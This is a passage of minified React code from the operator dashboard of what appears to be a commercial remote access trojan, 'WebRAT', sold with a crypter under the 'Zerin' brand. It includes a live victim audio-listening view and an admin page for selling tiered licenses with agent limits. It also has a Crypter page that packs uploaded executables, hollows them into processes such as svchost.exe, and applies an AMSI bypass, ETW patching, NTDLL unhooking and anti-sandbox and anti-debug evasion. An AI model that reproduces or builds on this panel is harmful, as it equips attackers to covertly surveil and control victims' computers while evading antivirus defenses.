py-1 font-mono tracking-wide transition-colors",style:{fontSize:"10px",color:n?"#EF4444":"#A855F7",background:n?"rgba(239, 68, 68, 0.08)":"rgba(168, 85, 247, 0.08)",border:`1px solid ${n?"rgba(239, 68, 68, 0.18)":"rgba(168, 85, 247, 0.18)"}`},children:[n?a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M17.25 9.75L19.5 12m0 0l2.25 2.25M19.5 12l2.25-2.25M19.5 12l-2.25 2.25m-10.5-6l4.72-4.72a.75.75 0 011.28.53v15.88a.75.75 0 01-1.28.53l-4.72-4.72H4.51c-.88 0-1.704-.507-1.938-1.354A9.01 9.01 0 012.25 12c0-.83.112-1.633.322-2.396C2.806 8.756 3.63 8.25 4.51 8.25H6.75z"})}):a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19.114 5.636a9 9 0 010 12.728M16.463 8.288a5.25 5.25 0 010 7.424M6.75 8.25l4.72-4.72a.75.75 0 011.28.53v15.88a.75.75 0 01-1.28.53l-4.72-4.72H4.51c-.88 0-1.704-.507-1.938-1.354A9.01 9.01 0 012.25 12c0-.83.112-1.633.322-2.396C2.806 8.756 3.63 8.25 4.51 8.25H6.75z"})}),n?"MUTED":"AUDIO"]}),a.jsx("div",{className:"flex-1"}),a.jsxs("button",{onClick:l,className:"flex items-center gap-1.5 px-3 py-1 font-mono font-medium tracking-wide transition-colors",style:{fontSize:"10px",color:"#EF4444",background:"rgba(239, 68, 68, 0.06)",border:"1px solid rgba(239, 68, 68, 0.15)"},onMouseEnter:c=>{c.currentTarget.style.background="rgba(239, 68, 68, 0.12)"},onMouseLeave:c=>{c.currentTarget.style.background="rgba(239, 68, 68, 0.06)"},children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})}),"DISCONNECT"]})]}),a.jsx("div",{className:"flex-1 flex items-center justify-center",style:{background:"#09090B"},children:a.jsxs("div",{className:"flex flex-col items-center gap-8",children:[a.jsxs("div",{className:"relative",children:[a.jsx("div",{className:"w-24 h-24 rounded-full flex items-center justify-center",style:{background:t?"rgba(168, 85, 247, 0.08)":"rgba(63, 63, 70, 0.2)",border:`2px solid ${t?"rgba(168, 85, 247, 0.25)":"rgba(63, 63, 70, 0.3)"}`},children:a.jsx("svg",{className:"w-10 h-10",fill:"none",viewBox:"0 0 24 24",stroke:t?"#A855F7":"#52525B",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 18.75a6 6 0 006-6v-1.5m-6 7.5a6 6 0 01-6-6v-1.5m6 7.5v3.75m-3.75 0h7.5M12 15.75a3 3 0 01-3-3V4.5a3 3 0 116 0v8.25a3 3 0 01-3 3z"})})}),t&&!n&&a.jsx(a.Fragment,{children:a.jsx("div",{className:"absolute inset-0 rounded-full animate-ping",style:{background:"rgba(168, 85, 247, 0.1)",animationDuration:"2s"}})})]}),a.jsxs("div",{className:"flex flex-col items-center gap-2",children:[a.jsx("span",{className:"font-display font-medium tracking-wide",style:{fontSize:"14px",color:"#A1A1AA"},children:t?n?"Audio Muted":"Listening...":"Connecting..."}),t&&a.jsxs("span",{className:"font-mono",style:{fontSize:"11px",color:"#52525B"},children:[r.sampleRate>0?`${r.sampleRate} Hz`:""," ",r.chunkCount>0?`• ${r.chunkCount} chunks`:""]})]})]})}),a.jsxs("div",{className:"flex items-center gap-4 px-4 py-1 shrink-0 font-mono",style:{fontSize:"10px",background:"#111113",borderTop:"1px solid #1F1F23"},children:[a.jsx("span",{className:"font-display font-bold tracking-[0.2em] uppercase",style:{color:"#9333EA",fontSize:"9px"},children:"LIVE AUDIO"}),a.jsx("span",{style:{color:"#27272A"},children:"|"}),a.jsxs("span",{style:{color:"#52525B"},children:[a.jsx("span",{style:{color:"#A855F7"},children:r.chunkCount})," chunks"]}),a.jsx("span",{style:{color:"#27272A"},children:"|"}),a.jsx("span",{style:{color:"#52525B"},children:r.sampleRate>0?`${r.sampleRate} Hz`:"—"}),a.jsx("span",{style:{color:"#27272A"},children:"|"}),a.jsx("span",{style:{color:"#52525B"},children:e?e.slice(0,8):"—"})]})]})}const OV=4294967295;function TV(e){return e>=OV-86400}function Mm(e){return TV(e)?"Never":new Date(e*1e3).toLocaleString()}function Yb({status:e}){const t={active:"bg-emerald-500/10 text-emerald-400 border-emerald-500/20",unused:"bg-blue-500/10 text-blue-400 border-blue-500/20",expired:"bg-zinc-500/10 text-zinc-400 border-zinc-500/20",revoked:"bg-red-500/10 text-red-400 border-red-500/20"};return a.jsx("span",{className:`inline-block px-2 py-0.5 text-xs font-mono border ${t[e]||t.expired}`,children:e})}function MV({role:e}){const t=e==="admin";return a.jsx("span",{className:`inline-block px-2 py-0.5 text-xs font-mono border ${t?"bg-amber-500/10 text-amber-400 border-amber-500/20":"bg-zinc-500/10 text-zinc-400 border-zinc-500/20"}`,children:e})}function LV(){const[e,t]=m.useState("keys"),[n,r]=m.useState([]),[i,s]=m.useState([]),[o,l]=m.useState(!0),[c,u]=m.useState(""),[d,f]=m.useState(!1),[p,h]=m.useState("7d"),[x,g]=m.useState("0"),[y,v]=m.useState("rat"),[b,w]=m.useState(!1),[j,N]=m.useState(""),[k,z]=m.useState(!1),[S,O]=m.useState(null),[A,T]=m.useState(null),[P,D]=m.useState("30d"),[G,R]=m.useState(!1),[K,_]=m.useState(null),[M,F]=m.useState("rat"),[U,V]=m.useState(!1),Z=m.useCallback(async()=>{try{const C=await h6();r(C)}catch(C){u(C instanceof Error?C.message:"Failed to fetch keys")}},[]),ae=m.useCallback(async()=>{try{const C=await g6();s(C)}catch(C){u(C instanceof Error?C.message:"Failed to fetch operators")}},[]);m.useEffect(()=>{l(!0),Promise.all([Z(),ae()]).finally(()=>l(!1))},[Z,ae]);const ue=async C=>{C.preventDefault(),w(!0),u("");try{const Y=await x6({duration:p,max_agents:parseInt(x)||0,tier:y});N(Y.key),z(!1),await Z()}catch(Y){u(Y instanceof Error?Y.message:"Failed to generate key")}finally{w(!1)}},be=async C=>{u("");try{await v6(C),O(null),await Z()}catch(Y){u(Y instanceof Error?Y.message:"Failed to revoke key")}},ye=async()=>{if(A){R(!0),u("");try{await y6(A.id,P),T(null),await ae()}catch(C){u(C instanceof Error?C.message:"Failed to extend license")}finally{R(!1)}}},q=async()=>{if(K){V(!0),u("");try{await b6(K.id,M),_(null),await ae()}catch(C){u(C instanceof Error?C.message:"Failed to set tier")}finally{V(!1)}}},te=()=>{navigator.clipboard.writeText(j),z(!0),setTimeout(()=>z(!1),2e3)};return a.jsxs("div",{className:"p-6 space-y-6",children:[a.jsx("div",{className:"flex items-center justify-between",children:a.jsxs("div",{children:[a.jsx("h1",{className:"text-xl font-display font-bold text-zerin-text",children:"Administration"}),a.jsx("p",{className:"text-sm text-zerin-text-muted mt-1",children:"Manage license keys and operators"})]})}),a.jsxs("div",{className:"flex gap-1 border-b border-zerin-panel-border",children:[a.jsx("button",{onClick:()=>t("keys"),className:`px-4 py-2.5 text-sm font-medium transition-colors ${e==="keys"?"text-zerin-accent border-b-2 border-zerin-accent":"text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"License Keys"}),a.jsx("button",{onClick:()=>t("operators"),className:`px-4 py-2.5 text-sm font-medium transition-colors ${e==="operators"?"text-zerin-accent border-b-2 border-zerin-accent":"text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"Operators"})]}),c&&a.jsxs("div",{className:"p-3 text-sm text-red-400 bg-red-500/10 border border-red-500/20",children:[c,a.jsx("button",{onClick:()=>u(""),className:"ml-2 text-red-300 hover:text-red-200",children:"dismiss"})]}),o?a.jsx("div",{className:"text-center py-12 text-zerin-text-muted text-sm",children:"Loading..."}):e==="keys"?a.jsxs("div",{className:"space-y-4",children:[a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("button",{onClick:()=>{f(!d),N("")},className:`px-3 py-1.5 text-sm font-medium text-zerin-accent border border-zerin-accent/30\r + hover:bg-zerin-accent/10 transition-colors`,children:d?"Cancel":"Generate Key"}),a.jsx("button",{onClick:Z,className:`px-3 py-1.5 text-sm text-zerin-text-dim border border-zerin-panel-border\r + hover:bg-zerin-panel-hover transition-colors`,children:"Refresh"})]}),d&&a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4 space-y-4",children:[a.jsxs("form",{onSubmit:ue,className:"space-y-3",children:[a.jsxs("div",{className:"flex items-end gap-4",children:[a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Duration"}),a.jsx("input",{type:"text",value:p,onChange:C=>h(C.target.value),placeholder:"7d, 24h, 30m, lifetime",className:`w-40 px-3 py-1.5 text-sm bg-zerin-bg border border-zerin-panel-border\r + text-zerin-text placeholder-zerin-text-muted focus:border-zerin-accent\r + focus:outline-none`})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Max Agents (0 = unlimited)"}),a.jsx("input",{type:"number",value:x,onChange:C=>g(C.target.value),min:"0",className:`w-32 px-3 py-1.5 text-sm bg-zerin-bg border border-zerin-panel-border\r + text-zerin-text focus:border-zerin-accent focus:outline-none`})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Tier"}),a.jsxs("div",{className:"flex gap-1",children:[a.jsx("button",{type:"button",onClick:()=>v("rat"),className:`px-3 py-1.5 text-xs font-mono border transition-colors ${y==="rat"?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"WebRAT"}),a.jsx("button",{type:"button",onClick:()=>v("rat_crypter"),className:`px-3 py-1.5 text-xs font-mono border transition-colors ${y==="rat_crypter"?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"WebRAT + Crypter"})]})]}),a.jsx("button",{type:"submit",disabled:b,className:`px-4 py-1.5 text-sm font-medium bg-zerin-accent text-black\r + hover:bg-zerin-accent/90 disabled:opacity-50 transition-colors`,children:b?"Generating...":"Generate"})]}),a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsx("span",{className:"text-xs text-zerin-text-muted mr-1",children:"Presets:"}),["1d","7d","30d","90d","365d","lifetime"].map(C=>a.jsx("button",{type:"button",onClick:()=>h(C),className:`px-2 py-0.5 text-xs font-mono border transition-colors ${p===C?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim hover:border-zerin-text-muted"}`,children:C},C))]})]}),j&&a.jsxs("div",{className:"space-y-2",children:[a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsx("code",{className:`flex-1 block p-3 text-xs font-mono bg-zerin-bg border border-zerin-accent/30\r + text-zerin-accent break-all select-all`,children:j}),a.jsx("button",{onClick:te,className:`px-3 py-2 text-xs text-zerin-text-dim border border-zerin-panel-border\r + hover:bg-zerin-panel-hover transition-colors shrink-0`,children:k?"Copied!":"Copy"})]}),a.jsx("p",{className:"text-xs text-amber-400",children:"Copy this key now — it cannot be retrieved later."})]})]}),a.jsx("div",{className:"border border-zerin-panel-border overflow-x-auto",children:a.jsxs("table",{className:"w-full text-sm",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"bg-zerin-panel text-zerin-text-muted text-xs uppercase tracking-wider",children:[a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Key ID"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Status"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Tier"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Created"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Expires"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Activated By"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Uses"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Source"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Actions"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:n.length===0?a.jsx("tr",{children:a.jsx("td",{colSpan:9,className:"px-4 py-8 text-center text-zerin-text-muted",children:"No license keys found"})}):n.map(C=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover transition-colors",children:[a.jsxs("td",{className:"px-4 py-3 font-mono text-xs text-zerin-text-dim",title:C.key_id,children:[C.key_id.substring(0,8),"..."]}),a.jsx("td",{className:"px-4 py-3",children:a.jsx(Yb,{status:C.status})}),a.jsx("td",{className:"px-4 py-3",children:a.jsx("span",{className:`inline-block px-2 py-0.5 text-xs font-mono border ${C.tier==="rat_crypter"?"bg-purple-500/10 text-purple-400 border-purple-500/20":"bg-zinc-500/10 text-zinc-400 border-zinc-500/20"}`,children:C.tier==="rat_crypter"?"RAT + Crypter":"RAT"})}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-dim text-xs",children:Mm(C.created_at)}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-dim text-xs",children:Mm(C.expires_at)}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-dim",children:C.activated_by||"—"}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-dim font-mono",children:C.use_count}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-muted text-xs",children:C.generated_by}),a.jsx("td",{className:"px-4 py-3",children:C.status!=="revoked"&&C.status!=="expired"?S===C.key_id?a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsx("button",{onClick:()=>be(C.key_id),className:`px-2 py-1 text-xs text-red-400 border border-red-500/30\r + hover:bg-red-500/10 transition-colors`,children:"Confirm"}),a.jsx("button",{onClick:()=>O(null),className:`px-2 py-1 text-xs text-zerin-text-muted\r + hover:text-zerin-text-dim transition-colors`,children:"Cancel"})]}):a.jsx("button",{onClick:()=>O(C.key_id),className:`px-2 py-1 text-xs text-red-400 border border-red-500/20\r + hover:bg-red-500/10 transition-colors`,children:"Revoke"}):a.jsx("span",{className:"text-xs text-zerin-text-muted",children:"—"})})]},C.key_id))})]})})]}):a.jsxs("div",{className:"space-y-4",children:[a.jsx("div",{className:"flex items-center gap-3",children:a.jsx("button",{onClick:ae,className:`px-3 py-1.5 text-sm text-zerin-text-dim border border-zerin-panel-border\r + hover:bg-zerin-panel-hover transition-colors`,children:"Refresh"})}),a.jsx("div",{className:"border border-zerin-panel-border overflow-x-auto",children:a.jsxs("table",{className:"w-full text-sm",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"bg-zerin-panel text-zerin-text-muted text-xs uppercase tracking-wider",children:[a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Username"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Role"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Tier"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"License Status"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"License Expires"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Created"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Actions"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.length===0?a.jsx("tr",{children:a.jsx("td",{colSpan:7,className:"px-4 py-8 text-center text-zerin-text-muted",children:"No operators found"})}):i.map(C=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover transition-colors",children:[a.jsx("td",{className:"px-4 py-3 text-zerin-text font-medium",children:C.username}),a.jsx("td",{className:"px-4 py-3",children:a.jsx(MV,{role:C.role})}),a.jsx("td",{className:"px-4 py-3",children:a.jsx("span",{className:`inline-block px-2 py-0.5 text-xs font-mono border ${C.tier==="rat_crypter"?"bg-purple-500/10 text-purple-400 border-purple-500/20":"bg-zinc-500/10 text-zinc-400 border-zinc-500/20"}`,children:C.tier==="rat_crypter"?"RAT + Crypter":"RAT"})}),a.jsx("td",{className:"px-4 py-3",children:C.license_status?a.jsx(Yb,{status:C.license_status}):a.jsx("span",{className:"text-xs text-zerin-text-muted",children:"none"})}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-dim text-xs",children:C.license_expires_at?Mm(C.license_expires_at):"—"}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-dim text-xs",children:C.created_at}),a.jsx("td",{className:"px-4 py-3",children:a.jsxs("div",{className:"flex items-center gap-1.5",children:[a.jsx("button",{onClick:()=>{T(C),D("30d")},className:`px-2 py-1 text-xs text-emerald-400 border border-emerald-500/20\r + hover:bg-emerald-500/10 transition-colors`,children:"Add Time"}),a.jsx("button",{onClick:()=>{_(C),F(C.tier==="rat_crypter"?"rat":"rat_crypter")},className:`px-2 py-1 text-xs text-purple-400 border border-purple-500/20\r + hover:bg-purple-500/10 transition-colors`,children:"Set Tier"})]})})]},C.id))})]})})]}),A&&a.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>T(null),children:a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 w-96 space-y-4",onClick:C=>C.stopPropagation(),children:[a.jsxs("h3",{className:"text-sm font-semibold text-zerin-text",children:["Add Time — ",a.jsx("span",{className:"text-zerin-accent",children:A.username})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Duration to add"}),a.jsx("input",{type:"text",value:P,onChange:C=>D(C.target.value),placeholder:"7d, 30d, 365d, lifetime",className:`w-full px-3 py-1.5 text-sm bg-zerin-bg border border-zerin-panel-border\r + text-zerin-text placeholder-zerin-text-muted focus:border-zerin-accent focus:outline-none`})]}),a.jsx("div",{className:"flex flex-wrap gap-1.5",children:["7d","30d","90d","365d","lifetime"].map(C=>a.jsx("button",{onClick:()=>D(C),className:`px-2.5 py-1 text-xs font-mono border transition-colors ${P===C?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:C},C))}),a.jsxs("div",{className:"flex gap-2 pt-2",children:[a.jsx("button",{onClick:ye,disabled:G,className:`flex-1 px-4 py-2 text-sm font-medium bg-emerald-600 text-white\r + hover:bg-emerald-700 disabled:opacity-50 transition-colors`,children:G?"Extending...":"Add Time"}),a.jsx("button",{onClick:()=>T(null),className:`px-4 py-2 text-sm text-zerin-text-muted border border-zerin-panel-border\r + hover:bg-zerin-panel-hover transition-colors`,children:"Cancel"})]})]})}),K&&a.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>_(null),children:a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 w-96 space-y-4",onClick:C=>C.stopPropagation(),children:[a.jsxs("h3",{className:"text-sm font-semibold text-zerin-text",children:["Set Tier — ",a.jsx("span",{className:"text-zerin-accent",children:K.username})]}),a.jsxs("div",{className:"flex gap-2",children:[a.jsx("button",{onClick:()=>F("rat"),className:`flex-1 px-4 py-2.5 text-sm font-mono border transition-colors ${M==="rat"?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"WebRAT"}),a.jsx("button",{onClick:()=>F("rat_crypter"),className:`flex-1 px-4 py-2.5 text-sm font-mono border transition-colors ${M==="rat_crypter"?"border-purple-500/50 bg-purple-500/10 text-purple-400":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"WebRAT + Crypter"})]}),a.jsxs("div",{className:"flex gap-2 pt-2",children:[a.jsx("button",{onClick:q,disabled:U,className:`flex-1 px-4 py-2 text-sm font-medium bg-purple-600 text-white\r + hover:bg-purple-700 disabled:opacity-50 transition-colors`,children:U?"Updating...":"Update Tier"}),a.jsx("button",{onClick:()=>_(null),className:`px-4 py-2 text-sm text-zerin-text-muted border border-zerin-panel-border\r + hover:bg-zerin-panel-hover transition-colors`,children:"Cancel"})]})]})})]})}const qb=[{at:0,msg:"Initializing encryption engine..."},{at:8,msg:"Generating random XOR key (256-bit)..."},{at:14,msg:"Deriving AES-256-CBC session key via PBKDF2..."},{at:20,msg:"Parsing PE headers... IMAGE_NT_SIGNATURE OK"},{at:28,msg:"Mapping sections: .text .rdata .data .rsrc .reloc"},{at:38,msg:"Encrypting payload sections (XOR pass)..."},{at:48,msg:"Encrypting payload sections (AES pass)..."},{at:55,msg:"Building injection stub..."},{at:62,msg:"Patching entry point → stub trampoline"},{at:70,msg:"Applying evasion layers..."},{at:78,msg:"Compiling output binary..."},{at:85,msg:"Stripping debug symbols & Rich header"},{at:92,msg:"Obfuscating PE metadata (timestamp, linker)"},{at:98,msg:"Validating output integrity... SHA-256 OK"}],IV=[{path:"C:\\Windows\\System32\\svchost.exe",label:"svchost.exe",desc:"Service host (recommended)"},{path:"C:\\Windows\\System32\\RuntimeBroker.exe",label:"RuntimeBroker.exe",desc:"UWP broker"},{path:"C:\\Windows\\System32\\dllhost.exe",label:"dllhost.exe",desc:"COM surrogate"},{path:"C:\\Windows\\explorer.exe",label:"explorer.exe",desc:"Windows shell"}],Pa=[{key:"unhook_ntdll",label:"NTDLL Unhook",desc:"Replace hooked ntdll .text with clean copy from \\KnownDlls\\",icon:a.jsx("svg",{viewBox:"0 0 20 20",fill:"currentColor",className:"w-4 h-4",children:a.jsx("path",{fillRule:"evenodd",d:"M12.293 4.293a1 1 0 0 1 1.414 0l4 4a1 1 0 0 1 0 1.414l-4 4a1 1 0 0 1-1.414-1.414L14.586 10H3a1 1 0 1 1 0-2h11.586l-2.293-2.293a1 1 0 0 1 0-1.414Z",clipRule:"evenodd"})})},{key:"amsi_bypass",label:"AMSI Bypass",desc:"Patch AmsiOpenSession to return AMSI_RESULT_CLEAN",icon:a.jsx("svg",{viewBox:"0 0 20 20",fill:"currentColor",className:"w-4 h-4",children:a.jsx("path",{fillRule:"evenodd",d:"M10 1a4.5 4.5 0 0 0-4.5 4.5V9H5a2 2 0 0 0-2 2v6a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2v-6a2 2 0 0 0-2-2h-.5V5.5A4.5 4.5 0 0 0 10 1Zm3 8V5.5a3 3 0 1 0-6 0V9h6Z",clipRule:"evenodd"})})},{key:"etw_patch",label:"ETW Patch",desc:"Patch EtwEventWrite with xor eax,eax; ret",icon:a.jsxs("svg",{viewBox:"0 0 20 20",fill:"currentColor",className:"w-4 h-4",children:[a.jsx("path",{d:"M10 12.5a2.5 2.5 0 1 0 0-5 2.5 2.5 0 0 0 0 5Z"}),a.jsx("path",{fillRule:"evenodd",d:"M.664 10.59a1.651 1.651 0 0 1 0-1.186A10.004 10.004 0 0 1 10 3c4.257 0 7.893 2.66 9.336 6.41.147.381.146.804 0 1.186A10.004 10.004 0 0 1 10 17c-4.257 0-7.893-2.66-9.336-6.41ZM14 10a4 4 0 1 1-8 0 4 4 0 0 1 8 0Z",clipRule:"evenodd"})]})},{key:"anti_sandbox",label:"Anti-Sandbox",desc:"Score-based VM/sandbox detection (3-tier weighted system)",icon:a.jsx("svg",{viewBox:"0 0 20 20",fill:"currentColor",className:"w-4 h-4",children:a.jsx("path",{fillRule:"evenodd",d:"M8.485 2.495c.673-1.167 2.357-1.167 3.03 0l6.28 10.875c.673 1.167-.17 2.625-1.516 2.625H3.72c-1.347 0-2.189-1.458-1.515-2.625L8.485 2.495ZM10 5a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 10 5Zm0 9a1 1 0 1 0 0-2 1 1 0 0 0 0 2Z",clipRule:"evenodd"})})},{key:"anti_debug",label:"Anti-Debug",desc:"NtQueryInformationProcess + ProcessDebugPort/ObjectHandle",icon:a.jsx("svg",{viewBox:"0 0 20 20",fill:"currentColor",className:"w-4 h-4",children:a.jsx("path",{fillRule:"evenodd",d:"M10 18a8 8 0 1 0 0-16 8 8 0 0 0 0 16ZM6.75 9.25a.75.75 0 0 0 0 1.5h6.5a.75.75 0 0 0 0-1.5h-6.5Z",clipRule:"evenodd"})})}],Xb=` + @keyframes crypterScanLine { + 0% { top: -2px; opacity: 0; } + 10% { opacity: 1; } + 90% { opacity: 1; } + 100% { top: calc(100% + 2px); opacity: 0; } + } + @keyframes crypterPulseRing { + 0%, 100% { box-shadow: 0 0 0 0 rgba(6, 182, 212, 0.15); } + 50% { box-shadow: 0 0 0 6px rgba(6, 182, 212, 0); } + } + @keyframes crypterTerminalBlink { + 0%, 100% { opacity: 1; } + 50% { opacity: 0; } + } + @keyframes crypterLayerIn { + 0% { opacity: 0; transform: translateX(-6px); } + 100% { opacity: 1; transform: translateX(0); } + } + @keyframes crypterProgressGlow { + 0%, 100% { box-shadow: 0 0 8px rgba(6, 182, 212, 0.3); } + 50% { box-shadow: 0 0 20px rgba(6, 182, 212, 0.6); } + } + @keyframes crypterHexScroll { + 0% { transform: translateY(0); } + 100% { transform: translateY(-50%); } + } + @keyframes crypterCheckIn { + 0% { transform: scale(0.5); opacity: 0; } + 50% { transform: scale(1.15); } + 100% { transform: scale(1); opacity: 1; } + } + .crypter-scan-line { + position: absolute; + left: 0; + right: 0; + height: 1px; + background: linear-gradient(90deg, transparent, #06B6D4, transparent); + animation: crypterScanLine 2.5s ease-in-out infinite; + pointer-events: none; + } + .crypter-pulse-ring { + animation: crypterPulseRing 2s ease-in-out infinite; + } + .crypter-terminal-cursor::after { + content: '█'; + animation: crypterTerminalBlink 0.8s step-end infinite; + color: #06B6D4; + } + .crypter-layer-enter { + animation: crypterLayerIn 0.3s ease-out forwards; + } + .crypter-progress-glow { + animation: crypterProgressGlow 1.5s ease-in-out infinite; + } + .crypter-check-in { + animation: crypterCheckIn 0.35s cubic-bezier(0.34, 1.56, 0.64, 1) forwards; + } +`;function DV(e){const t=[];for(let n=0;nMath.floor(Math.random()*256).toString(16).toUpperCase().padStart(2,"0")).join(" ");t.push(`${r} ${i}`)}return t}function RV(){const{isAdmin:e}=ya(),n=kj()==="rat_crypter"||e,[r,i]=m.useState(null),[s,o]=m.useState("runpe"),[l,c]=m.useState("C:\\Windows\\System32\\svchost.exe"),[u,d]=m.useState(0),[f,p]=m.useState({anti_sandbox:!0,anti_debug:!0,unhook_ntdll:!0,amsi_bypass:!0,etw_patch:!0}),[h,x]=m.useState(!1),[g,y]=m.useState(0),[v,b]=m.useState(""),[w,j]=m.useState(!1),[N,k]=m.useState([]),[z,S]=m.useState(!1),O=m.useRef(null),A=m.useRef(null),[T]=m.useState(()=>DV(24)),P=Object.values(f).filter(Boolean).length,D=m.useCallback(_=>{p(M=>({...M,[_]:!M[_]}))},[]),G=m.useCallback(_=>{_.preventDefault(),j(!1);const M=_.dataTransfer.files[0];M&&(i(M),S(!1))},[]),R=m.useCallback(()=>{i(null),S(!1),k([]),y(0),O.current&&(O.current.value="")},[]);m.useEffect(()=>{if(!h)return;k([]);let _=0;const M=setInterval(()=>{if(_=F.at||_===0)&&(k(U=>[...U,F.msg]),_++)}},800+Math.random()*600);return()=>clearInterval(M)},[h]),m.useEffect(()=>{A.current&&(A.current.scrollTop=A.current.scrollHeight)},[N]);const K=m.useCallback(async()=>{if(!(!r||h)){x(!0),b(""),y(5),S(!1);try{const _=new FormData;_.append("file",r),_.append("mode",s),_.append("target_process",l),_.append("sleep_seconds",u.toString()),_.append("anti_sandbox",f.anti_sandbox.toString()),_.append("anti_debug",f.anti_debug.toString()),_.append("unhook_ntdll",f.unhook_ntdll.toString()),_.append("amsi_bypass",f.amsi_bypass.toString()),_.append("etw_patch",f.etw_patch.toString()),y(20);const M=setInterval(()=>{y(Z=>{const ae=90-Z,ue=Math.max(1,ae*.08);return Math.min(Z+ue,90)})},1200),F=await p6(_);clearInterval(M),y(100),S(!0);const U=URL.createObjectURL(F),V=document.createElement("a");V.href=U,V.download=r.name.replace(/\.exe$/i,"")+"_crypted.exe",document.body.appendChild(V),V.click(),document.body.removeChild(V),URL.revokeObjectURL(U)}catch(_){b(_.message||"Build failed"),y(0)}finally{x(!1)}}},[r,h,s,l,u,f]);return n?a.jsxs("div",{className:"h-full flex flex-col overflow-hidden",children:[a.jsx("style",{children:Xb}),a.jsxs("div",{className:"flex-none px-6 py-4 border-b border-zerin-panel-border flex items-center justify-between",children:[a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("div",{className:"w-8 h-8 bg-zerin-accent/10 border border-zerin-accent/20 flex items-center justify-center",children:a.jsx("svg",{className:"w-4 h-4 text-zerin-accent",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{fillRule:"evenodd",d:"M10 1a4.5 4.5 0 0 0-4.5 4.5V9H5a2 2 0 0 0-2 2v6a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2v-6a2 2 0 0 0-2-2h-.5V5.5A4.5 4.5 0 0 0 10 1Zm3 8V5.5a3 3 0 1 0-6 0V9h6Z",clipRule:"evenodd"})})}),a.jsxs("div",{children:[a.jsx("h1",{className:"font-display text-lg font-bold text-zerin-text leading-none",children:"Crypter"}),a.jsx("p",{className:"font-mono text-[10px] text-zerin-text-muted mt-0.5 tracking-wide",children:"PE ENCRYPTION ENGINE"})]})]}),a.jsxs("div",{className:"flex items-center gap-4",children:[a.jsxs("div",{className:"flex items-center gap-2 bg-zerin-bg border border-zerin-panel-border px-3 py-1.5",children:[a.jsx("div",{className:"flex 